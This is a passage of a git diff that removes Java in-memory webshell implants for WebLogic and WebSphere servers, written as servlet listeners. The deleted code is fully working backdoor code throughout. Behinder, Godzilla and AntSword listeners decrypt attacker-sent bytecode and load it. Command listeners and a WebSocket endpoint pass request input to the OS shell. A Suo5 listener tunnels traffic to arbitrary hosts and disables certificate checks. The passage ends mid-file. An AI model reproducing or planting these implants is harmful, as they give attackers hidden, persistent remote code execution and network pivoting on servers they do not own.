@SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java deleted file mode 100644 index 7ad51c5f..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java +++ /dev/null @@ -1,74 +0,0 @@ -package com.reajason.javaweb.memshell.weblogic.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java deleted file mode 100644 index 12919aeb..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java +++ /dev/null @@ -1,49 +0,0 @@ -package com.reajason.javaweb.memshell.weblogic.command; - -import javax.websocket.Endpoint; -import javax.websocket.EndpointConfig; -import javax.websocket.MessageHandler; -import javax.websocket.Session; -import java.io.InputStream; - -/** - * wsMemShell - * - * @author ReaJason - * @since 2024/12/9 - */ -public class CommandWebSocket extends Endpoint implements MessageHandler.Whole { - - public static String paramName; - private Session session; - - @Override - public void onMessage(String s) { - try { - Process process; - boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); - if (bool) { - process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); - } else { - process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); - } - InputStream inputStream = process.getInputStream(); - StringBuilder stringBuilder = new StringBuilder(); - int i; - while ((i = inputStream.read()) != -1) { - stringBuilder.append((char) i); - } - inputStream.close(); - process.waitFor(); - session.getBasicRemote().sendText(stringBuilder.toString()); - } catch (Exception e) { - e.printStackTrace(); - } - } - - @Override - public void onOpen(final Session session, EndpointConfig config) { - this.session = session; - session.addMessageHandler(this); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java deleted file mode 100644 index e862cd7e..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.reajason.javaweb.memshell.weblogic.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java deleted file mode 100644 index d1ad6132..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/suo5/Suo5Listener.java +++ /dev/null @@ -1,604 +0,0 @@ -package com.reajason.javaweb.memshell.weblogic.suo5; - -import javax.net.ssl.*; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - - public Suo5Listener() { - } - - public Suo5Listener(InputStream in, OutputStream out) { - this.gInStream = in; - this.gOutStream = out; - } - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Listener p = new Suo5Listener(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - String contentType = request.getContentType(); - if (contentType == null) { - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(request, "response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java deleted file mode 100644 index cfc9cace..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/antsword/AntSwordListener.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.reajason.javaweb.memshell.websphere.antsword; - -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Field; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class AntSwordListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public AntSwordListener() { - } - - public AntSwordListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java deleted file mode 100644 index ed676c41..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/command/CommandListener.java +++ /dev/null @@ -1,68 +0,0 @@ -package com.reajason.javaweb.memshell.websphere.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response"); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java deleted file mode 100644 index 94741501..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/websphere/godzilla/GodzillaListener.java +++ /dev/null @@ -1,142 +0,0 @@ -package com.reajason.javaweb.memshell.websphere.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static synchronized Object 